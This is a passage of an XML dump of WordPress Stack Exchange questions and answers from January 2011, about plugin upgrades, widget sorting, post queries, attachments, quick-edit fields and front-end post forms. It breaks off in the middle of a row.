  <row Id="8088" PostTypeId="1" CreationDate="2011-01-30T01:06:19.437" Score="1" ViewCount="55" Body="&lt;p&gt;Reading &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_activation_hook#Changelog&quot; rel=&quot;nofollow&quot;&gt;register_activation_hook()&lt;/a&gt; told me that in wordpress 3.1, this will only work for every plugin activation, not plugin upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know is, what's the best plugin upgrade strategy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My though is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;on action 'admin_init' check for '{plugin_name}_version' option&#xA;&lt;ol&gt;&#xA;&lt;li&gt;if '{plugin_name}_version' doesn't exist, let's assume it's from previous version (because at that version, we don't have '{plugin_name}_version' option, yet. Go to process 2.&lt;/li&gt;&#xA;&lt;li&gt;if '{plugin_name}_version' option exists and doesn't match with '{plugin_name}_version' set in script, go to process 2.&lt;/li&gt;&#xA;&lt;li&gt;if '{plugin_name}_version' option match with '{plugin_name}_version' set in script, exit process.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;launch our plugin upgrade function with '{plugin_name}_version' value as parameter&lt;/li&gt;&#xA;&lt;li&gt;do whatever needed for this upgrade process&lt;/li&gt;&#xA;&lt;li&gt;after upgrade process finished, set '{plugin_name}_version' option to '{plugin_name}_version' from script.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any comment for this process?&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2011-01-30T01:16:20.120" Title="Plugin Upgrade Strategy" Tags="&lt;plugin-development&gt;&lt;upgrade&gt;" AnswerCount="1" />
  <row Id="8089" PostTypeId="1" AcceptedAnswerId="8092" CreationDate="2011-01-30T01:09:33.950" Score="1" ViewCount="284" Body="&lt;p&gt;Man, I can't seem to ever get done with enhancements to WordPress categories. I hope there's more work done on core category options in the future. Especially with the emergence of site theming and siloing of late. I know WP is ahead of most publishing systems in terms of its early support for categories, but it seems they've left lots on the table after that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does a hook exist that would allow one to enhance the widget options for the category widget in order to allow setting the default sort order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I notice in the codex the options for sort appear to be one of any of these (id, name, slug, count, group) and either ascending or descending. So, Ideally a drop down menu on widget options panel to allow one to set those two parameters (order and orderby) is what I'm looking to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, I'll just filter wp_list_categories and add the order option to my theme options, but it seems more logical to put it on the widget control itself.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-30T02:03:09.593" Title="Filter Categories widget to allow custom sorting?" Tags="&lt;plugin-development&gt;&lt;categories&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="8090" PostTypeId="2" ParentId="8087" CreationDate="2011-01-30T01:12:08.953" Score="3" ViewCount="" Body="&lt;p&gt;I think you misunderstood,  Wordpress multisite works with only one database for all sites!&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-30T01:12:08.953" CommentCount="1" />
  <row Id="8091" PostTypeId="2" ParentId="8088" CreationDate="2011-01-30T01:16:20.120" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@silent:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was recently discussed at length on the wp-hackers list. Here's the thread:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://groups.google.com/group/wp-hackers/browse_frm/thread/fa6eb2c49baa674a/03abe9d4174267f4?tvc=1#03abe9d4174267f4&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Will Activation Hook Be Executed During Plugin Upgradation?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Quoting &lt;a href=&quot;http://wordpress.stackexchange.com/users/2232/otto&quot;&gt;Otto&lt;/a&gt; from the list:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The simplest method that would work&#xA;  everywhere would be simply to  store&#xA;  the version number of the plugin&#xA;  somewhere (like in your options  entry&#xA;  in the database), then compare the&#xA;  stored version with your  known&#xA;  current and hardcoded version. When&#xA;  you detect the difference,  then that&#xA;  means an upgrade has taken place, and&#xA;  you can act  accordingly.  Another way&#xA;  is simply to make the plugin detect&#xA;  outdated options or  older schemas and&#xA;  upgrade them on-the-fly. This is&#xA;  probably the most  reliable, but it&#xA;  does depend on what exactly you're&#xA;  upgrading. You  can't necessarily make&#xA;  this &quot;generic&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-30T01:16:20.120" CommentCount="1" />
  <row Id="8092" PostTypeId="2" ParentId="8089" CreationDate="2011-01-30T01:28:25.487" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Scott B:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;code&gt;/wp-includes/widgets.php&lt;/code&gt; for the &lt;code&gt;WP_Category_Widget&lt;/code&gt; class we have the following code &lt;em&gt;(line 438 in WordPress v3.0.4):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat_args = array('orderby' =&amp;gt; 'name', 'show_count' =&amp;gt; $c, 'hierarchical' =&amp;gt; $h);&#xA;if ( $d ) {&#xA;  $cat_args['show_option_none'] = __('Select Category');&#xA;&#xA;wp_dropdown_categories(&#xA;  apply_filters('widget_categories_dropdown_args',$cat_args)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From that I would surmise the hook &lt;code&gt;'widget_categories_dropdown_args'&lt;/code&gt; should allow you to set an &lt;code&gt;'orderby'&lt;/code&gt; parameter?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. Have you ever considered using &lt;em&gt;(something like)&lt;/em&gt; &lt;a href=&quot;http://www.jetbrains.com/phpstorm/&quot; rel=&quot;nofollow&quot;&gt;PhpStorm&lt;/a&gt;? As you ask lots of &lt;em&gt;&quot;How can I get access to...&quot;&lt;/em&gt; kind of questions you'd probably find yourself an order of magnitude more productive if you had a tool like PhpStorm that could quickly get you these answers. Just a thought...&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-30T02:03:09.593" LastActivityDate="2011-01-30T02:03:09.593" CommentCount="2" />
  <row Id="8093" PostTypeId="1" CreationDate="2011-01-30T01:37:05.727" Score="1" ViewCount="128" Body="&lt;p&gt;Why am I having trouble accessing post meta data in a future_to_publish add action in functions.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function post_to_twitter() {&#xA;    global $post;&#xA;    $url = get_post_meta($post-&amp;gt;ID, 'short_url', true);&#xA;    if(!isset($url) || $url == &quot;&quot;) $url = get_permalink($post-&amp;gt;ID);&#xA;    //post to Twitter code&#xA;}&#xA;add_action('future_to_publish', 'post_to_twitter', 5);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function post_to_twitter($post) {&#xA;    $url = get_post_meta($post-&amp;gt;ID, 'short_url', true);&#xA;    if(!isset($url) || $url == &quot;&quot;) $url = get_permalink($post-&amp;gt;ID);&#xA;    //post to Twitter code&#xA;}&#xA;add_action('future_to_publish', 'post_to_twitter', 5, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The post to Twitter code is working just fine, and the function is being called when a scheduled post is published. The code above is trying to get a post meta value &quot;short_url&quot;, but it doesn't seem to be working. I believe it has something to do with the $post variable. The exact same code is working perfectly for a &quot;publish_post&quot; function. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2347" LastActivityDate="2011-04-30T03:42:29.283" Title="Access post meta in future_to_publish function" Tags="&lt;3.0&gt;&lt;functions&gt;&lt;post-meta&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="8094" PostTypeId="2" ParentId="8093" CreationDate="2011-01-30T01:49:01.467" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@epaps:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tested your code and it all works fine. The &lt;code&gt;$post&lt;/code&gt; is passed in as an object and you have full access to the &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; variable.  Best I can tell is that you have some kind of plugin interaction that is causing it to fail or that, for some reason the scheduled task is not being called &lt;em&gt;(but if the future post is indeed being published then the latter potential does not seem possible.)&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hmm, without your full code to debug I'm stumped.  If you come up with me information maybe I can help you find it.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. Here was my first answer which was clearly wrong: &lt;em&gt;Could it be that you meant to use the &lt;code&gt;'publish_future_post'&lt;/code&gt; hook instead of &lt;code&gt;'future_to_publish'&lt;/code&gt;?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-30T03:04:58.393" LastActivityDate="2011-01-30T03:04:58.393" CommentCount="4" />
  <row Id="8095" PostTypeId="1" AcceptedAnswerId="8097" CreationDate="2011-01-30T02:02:58.580" Score="0" ViewCount="98" Body="&lt;p&gt;I have a custom post types called &lt;strong&gt;publications&lt;/strong&gt;. I want to retrieve all the &lt;strong&gt;pages&lt;/strong&gt; and &lt;strong&gt;publications&lt;/strong&gt;. (I'm also filtering by taxonomy, but that's not what is creating the problem)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args= array(&#xA;        'post_type'=&amp;gt;array('publications', 'page')&#xA;        );&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above only returns pages, not publications.&#xA;If I remove 'page' from the array and leave &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'post_type'=&amp;gt;array('publications')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then the publications are returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its seems like I cannot query more than I post type at a time, contrary to what the codex explains here: &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/query_posts#Type_.26_Status_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/query_posts#Type_.26_Status_Parameters&lt;/a&gt;.&#xA;I've tried 'post_type' = 'any' with the same results; only the pages are returned. Using WP_Query also yielded the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong or is this a bug in WP 3.1 rc3?&lt;/p&gt;&#xA;" OwnerUserId="2450" LastActivityDate="2011-01-30T02:27:30.000" Title="Why can't I query more than 1 post type at a time?" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8096" PostTypeId="1" AcceptedAnswerId="8101" CreationDate="2011-01-30T02:18:55.620" Score="1" ViewCount="153" Body="&lt;p&gt;Im trying to get the next and previous attachment by the user its currently displaying, this is what I have and it works great except it gets all of the attachments instead of just the ones from a specific user.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;&amp;lt;?php $attachment_size = apply_filters( 'twentyten_attachment_size', 900 ); &#xA;echo wp_get_attachment_image($post-&amp;gt;ID, array( $attachment_size, 9999) ); // filterable image width with, essentially, no limit for image height.?&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;next-prev-links&quot;&amp;gt;&amp;lt;div class=&quot;previmg&quot;&amp;gt;&amp;lt;?php previous_image_link(); ?&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;p id=&quot;previmgtxt&quot; class=&quot;imgtxt&quot;&amp;gt;&amp;lt;?php previous_image_link(false, 'Previous Photo'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;div class=&quot;nextimg&quot;&amp;gt; &amp;lt;?php next_image_link(); ?&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;p id=&quot;nextimgtxt&quot; class=&quot;imgtxt&quot;&amp;gt;&amp;lt;?php next_image_link(false, 'Next Photo'); ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-01-30T04:13:36.433" Title="Getattachment next and previous by author only" Tags="&lt;attachments&gt;&lt;posts&gt;&lt;author&gt;&lt;next-post-link&gt;&lt;previous-post-link&gt;" AnswerCount="1" />
  <row Id="8097" PostTypeId="2" ParentId="8095" CreationDate="2011-01-30T02:27:30.000" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Bundarr:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Testing the following basic example as a standalone file it looks like it works as expected and not as you are reporting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;include '../wp-load.php';&#xA;header('Content-type: text/plain');&#xA;$q = new WP_Query(array(&#xA;  'post_type'=&amp;gt;array('publications', 'page')&#xA;  'posts_per_page' =&amp;gt; -1,&#xA;));&#xA;echo &quot;SQL: {$q-&amp;gt;request}\n&quot;;&#xA;foreach($q-&amp;gt;posts as $post) {&#xA;  echo &quot;{$post-&amp;gt;post_name} - {$post-&amp;gt;post_type}\n&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I can only assume that you have some plugins or theme code that is somehow blocking?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe it is as simple as missing a &lt;code&gt;'posts_per_page' =&amp;gt; -1&lt;/code&gt; argument and thus only displaying a limited number and making it seem like it's not working?  With &lt;code&gt;'posts_per_page'&lt;/code&gt; the query would look like this &lt;em&gt;(-1 means 'no limit'):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$q = new WP_Query(array(&#xA;  'post_type'=&amp;gt;array('publications', 'page')&#xA;  'posts_per_page' =&amp;gt; -1,&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-30T02:27:30.000" CommentCount="3" />
  <row Id="8098" PostTypeId="2" ParentId="7291" CreationDate="2011-01-30T03:34:10.620" Score="3" ViewCount="" Body="&lt;p&gt;I use this to add form fields to the quick edit. It's not entirely easy to do this in WP (yet) and it can be very difficult to find info on how to do it. You have to really dig through the source to find it too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add Form fields to Quick Edit&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('quick_edit_custom_box', 'quickedit_posts_custom_box', 10, 2);&#xA;add_action('admin_head-edit.php', 'quick_add_script');&#xA;&#xA;function quickedit_posts_custom_box( $col, $type ) {&#xA;    if( $col != 'COLUMN_NAME' || $type != 'post' ) {&#xA;        return;&#xA;    } ?&amp;gt;&#xA;    &amp;lt;fieldset class=&quot;inline-edit-col-right&quot;&amp;gt;&amp;lt;div class=&quot;inline-edit-col&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;inline-edit-group&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;alignleft&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;checkbox&quot; name=&quot;yourformfield&quot; id=&quot;yourformfield_check&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;checkbox-title&quot;&amp;gt;This Post Has Cake&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;function quick_add_script() { ?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function() {&#xA;        jQuery('a.editinline').live('click', function() {&#xA;            var id = inlineEditPost.getId(this);&#xA;            var val = parseInt(jQuery('#inline_' + id + '_yourformfield').text());&#xA;            jQuery('#yourformfield_check').attr('checked', !!val);&#xA;        });&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-01-30T03:34:10.620" />
  <row Id="8099" PostTypeId="2" ParentId="7453" CreationDate="2011-01-30T03:48:27.423" Score="1" ViewCount="" Body="&lt;p&gt;You can make a form that has an action of your form handling php script. In the php script, you can check if the form was submitted, and if there is an action, if so, then create variables for the form fields using the $_POST var. Then create the $post = array() to set up the post meta array, and use the wp_insert_post($post); to insert the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a form processing code I use for the frontend post form used on &lt;a href=&quot;http://WPHonors.com&quot; rel=&quot;nofollow&quot;&gt;http://WPHonors.com&lt;/a&gt;. It works for the custom post type I created for it, which had a basic form set up, with a hidden post_type field with the post type as the value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( $_POST['post_type'] == 'site' ) {&#xA;&#xA;    $title = $_POST['title'];&#xA;    $desc = $_POST['description'];&#xA;    $siteurl = $_POST['siteurl'];&#xA;    $cat = array( $_POST['cat'] );&#xA;    $tags = trim( $_POST['tags'] );&#xA;&#xA;    if(!isset($title)) { echo '&amp;lt;div class=&quot;error&quot;&amp;gt;Title required.&amp;lt;/div&amp;gt;'; }&#xA;    if(!isset($desc)) { echo '&amp;lt;div class=&quot;error&quot;&amp;gt;Description required.&amp;lt;/div&amp;gt;'; }&#xA;    if(!isset($siteurl)) { echo '&amp;lt;div class=&quot;error&quot;&amp;gt;URL required.&amp;lt;/div&amp;gt;'; }&#xA;    if($cat == -1) { echo '&amp;lt;div class=&quot;error&quot;&amp;gt;Select a category.&amp;lt;/div&amp;gt;'; }&#xA;    if(!isset($tags)) { echo '&amp;lt;div class=&quot;error&quot;&amp;gt;Must use at least one tag.&amp;lt;/div&amp;gt;'; }&#xA;&#xA;    if (!current_user_can( 'publish_posts')) { $poststatus = 'draft'; } else { $poststatus = 'publish'; } &#xA;&#xA;    //$insert = new TypeSites();&#xA;    $post = array(&#xA;        'post_title'    =&amp;gt; $title,&#xA;        'post_content'  =&amp;gt; $desc,&#xA;        'siteurl'   =&amp;gt; $siteurl,&#xA;        'post_category' =&amp;gt; $cat,&#xA;        'tags_input'    =&amp;gt; $tags,&#xA;        'post_status'   =&amp;gt; $poststatus,&#xA;        'post_type' =&amp;gt; 'site'&#xA;    );&#xA;    wp_insert_post( $post );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1366" LastEditorUserId="1366" LastEditorDisplayName="" LastEditDate="2011-01-30T23:47:49.563" LastActivityDate="2011-01-30T23:47:49.563" CommentCount="2" />
  <row Id="8100" PostTypeId="1" CreationDate="2011-01-30T04:09:56.453" Score="1" ViewCount="430" Body="&lt;p&gt;I've been searching Google for this to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a restaurant site, and I have a custom post type for dishes, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'labels'=&amp;gt; $labels,&#xA;    'public'=&amp;gt; true,&#xA;    'publicly_queryable'=&amp;gt;true,&#xA;    'show_ui'=&amp;gt;true,&#xA;    'show_in_nav_menus'=&amp;gt;true,&#xA;    'query_var'=&amp;gt;'dish',&#xA;    'rewrite'=&amp;gt;true,&#xA;    'capability_type'=&amp;gt;'post',&#xA;    'hierarchicial'=&amp;gt;false,&#xA;    'menu_position'=&amp;gt;5,&#xA;    'supports'=&amp;gt;array(&#xA;        'title',&#xA;        'editor',&#xA;        'thumbnail',&#xA;        'excerpt',&#xA;        'custom-fields',&#xA;        'revisions'&#xA;    )   &#xA;);  &#xA;&#xA;register_post_type('dish', $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An example of one of the custom taxonomies I want to use is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy('Main Ingredient', array('dish'), array(&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'label' =&amp;gt; 'Main Ingredient',&#xA;    'singular_label' =&amp;gt; 'Main Ingredient',&#xA;    'query_var'=&amp;gt;true,&#xA;    'rewrite' =&amp;gt; true)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The custom taxonomies are working fine in the admin, and I can go to myurl.com/main-ingredient/pork and see a list of all dishes with pork in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm wanting to do is be able to hit myurl.com/main-ingredient and get a list of all the various main-ingredient values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this reference, which is exactly what I'm trying to do:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4663/custom-taxonomy-listing-page-when-no-term-set-all-terms&quot;&gt;Custom taxonomy listing page when no term set (all terms)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the solution is not working for me - I'm still getting a 404 when going to myurl.com/main-ingredient&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how best to do this?&lt;/p&gt;&#xA;" LastActivityDate="2011-03-01T06:38:30.997" Title="Custom taxonomy list page?" Tags="&lt;taxonomy&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="8101" PostTypeId="2" ParentId="8096" CreationDate="2011-01-30T04:13:36.433" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Jeremy Love:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good question! And it's a good question because there do not appear to be any hooks to allow you to write code to filtering by author.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly that means to copy their copy to make your own functions so you can make the required 1 line change &lt;em&gt;(in this case, it's &lt;code&gt;'post_author' =&amp;gt; $post-&amp;gt;post_author,&lt;/code&gt;).&lt;/em&gt;  Here are functions you should be able to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function yoursite_previous_image_link($size = 'thumbnail', $text = false) {&#xA;  yoursite_adjacent_image_link(true, $size, $text);&#xA;}&#xA;function yoursite_next_image_link($size = 'thumbnail', $text = false) {&#xA;  yoursite_adjacent_image_link(false, $size, $text);&#xA;}&#xA;function yoursite_adjacent_image_link($prev=true,$size='thumbnail',$text=false) {&#xA;  global $post;&#xA;  $post = get_post($post);&#xA;  $attachments = array_values(get_children( array(&#xA;   'post_author' =&amp;gt; $post-&amp;gt;post_author,&#xA;   'post_parent' =&amp;gt; $post-&amp;gt;post_parent, &#xA;   'post_status' =&amp;gt; 'inherit', &#xA;   'post_type' =&amp;gt; 'attachment', &#xA;   'post_mime_type' =&amp;gt; 'image', &#xA;   'order' =&amp;gt; 'ASC', &#xA;   'orderby' =&amp;gt; 'menu_order ID'&#xA;   )));&#xA;&#xA;  foreach ( $attachments as $k =&amp;gt; $attachment )&#xA;    if ( $attachment-&amp;gt;ID == $post-&amp;gt;ID )&#xA;      break;&#xA;  $k = $prev ? $k - 1 : $k + 1;&#xA;  if ( isset($attachments[$k]) )&#xA;    echo wp_get_attachment_link($attachments[$k]-&amp;gt;ID, $size, true, false, $text);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-30T04:13:36.433" CommentCount="2" />
  <row Id="8102" PostTypeId="1" AcceptedAnswerId="8104" CreationDate="2011-01-30T04:15:17.073" Score="0" ViewCount="85" Body="&lt;p&gt;The purpose of this function is to simply wrap the first occurrence of the keyword in bold tags. I'm getting an error on the line marked below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: DOMDocument::loadHTML() [domdocument.loadhtml]: error parsing attribute name in Entity, line: 4 in C:\xampplite\htdocs\testsite\wp-content\plugins\mylugin\test.php on line 40&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the correct way to pass the post_content object?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_insert_post_data', 'my_bold_keyword' );&#xA;function my_bold_keyword($content){&#xA;  $myKeyword = &quot;test 123&quot;;&#xA;  $d = new DOMDocument();&#xA;  $d-&amp;gt;loadHTML($content['post_content']); //ERROR OCCURS HERE&#xA;  $x = new DOMXpath($d);&#xA;  $Matches = $x-&amp;gt;query(&quot;//text()[contains(.,$myKeyword) and not(ancestor::h1) and not(ancestor::h2) and not(ancestor::h3) and not(ancestor::h4) and not(ancestor::h5) and not(ancestor::h6)]&quot;);&#xA;  if($Matches &amp;amp;&amp;amp; $Matches-&amp;gt;length &amp;gt; 0){&#xA;    $myText = $Matches-&amp;gt;item(0);&#xA;    // need to wrap #myText in &amp;lt;b&amp;gt; wrapper&#xA;  }&#xA;  return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-30T04:43:50.123" LastActivityDate="2011-01-31T01:03:04.673" Title="Error passing post_content to function" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="8103" PostTypeId="1" AcceptedAnswerId="8114" CreationDate="2011-01-30T04:17:21.013" Score="0" ViewCount="112" Body="&lt;p&gt;I've already read what I can on a couple of sites and installed this plug-in:&#xA;&lt;a href=&quot;http://en.support.wordpress.com/code/posting-source-code/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/code/posting-source-code/&lt;/a&gt;&#xA;&lt;a href=&quot;http://alexgorbatchev.com/SyntaxHighlighter/&quot; rel=&quot;nofollow&quot;&gt;http://alexgorbatchev.com/SyntaxHighlighter/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm missing how to make it work. &#xA;Question 1: Do I have to type in the Visual window or the HTML window? &#xA;Question 2: Does TinyMCE mess with this?  I've seen my code disappear in the HTML window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have typed in my code in Visual Window like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[sourcecode language=&quot;php&quot;]&#xA;&amp;lt;?&#xA;Header( &quot;HTTP/1.1 301 Moved Permanently&quot; );&#xA;Header( &quot;Location: http://CMSTrainingVideos.com&quot; );&#xA;if ($_GET[&quot;page_id&quot;] == 1)&#xA;   Header( &quot;Location: http://CMSTrainingVideos.com/?p=35&quot;);&#xA;if ($_GET[&quot;page_id&quot;] == 2)&#xA;   Header( &quot;Location: http://CMSTrainingVideos.com/?p=43&quot;);&#xA;?&amp;gt;&#xA;[/sourcecode]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried &lt;code&gt;&amp;lt;pre language=&quot;php&quot;&amp;gt;&lt;/code&gt; with the &quot;Geshi&quot; syntax highligher, and no luck there either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But nothing is happening, i.e. no syntax highlighting: &lt;a href=&quot;http://cmstrainingvideos.com/?p=53&quot; rel=&quot;nofollow&quot;&gt;http://cmstrainingvideos.com/?p=53&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-03-18T15:20:01.507" Title="Proper implementation/use of code/syntax highlighting" Tags="&lt;code&gt;&lt;syntax-highlighting&gt;&lt;plugin-syntaxhighlighter&gt;" AnswerCount="2" />
  <row Id="8104" PostTypeId="2" ParentId="8102" CreationDate="2011-01-30T04:45:22.400" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Scott B:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a modified version of what you have that resolves the error &lt;em&gt;(although the XPath does not match; I'm not an XPath guru so can't help with the proper XPath syntax):&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_insert_post_data', 'my_bold_keyword', 10, 2 );&#xA;function my_bold_keyword( $data, $postarr ) {&#xA;  $myKeyword = &quot;test 123&quot;;&#xA;  $d = new DOMDocument();&#xA;  $d-&amp;gt;loadHTML($postarr['post_content']); //ERROR NO LONGER OCCURS HERE&#xA;  $x = new DOMXpath($d);&#xA;  $Matches = $x-&amp;gt;query(&quot;//text()[contains(.,$myKeyword) and not(ancestor::h1) and not(ancestor::h2) and not(ancestor::h3) and not(ancestor::h4) and not(ancestor::h5) and not(ancestor::h6)]&quot;);&#xA;  if($Matches &amp;amp;&amp;amp; $Matches-&amp;gt;length &amp;gt; 0){&#xA;    $myText = $Matches-&amp;gt;item(0);&#xA;    // need to wrap #myText in &amp;lt;b&amp;gt; wrapper&#xA;  }&#xA;  return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. About that PhpStorm... '-)&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" 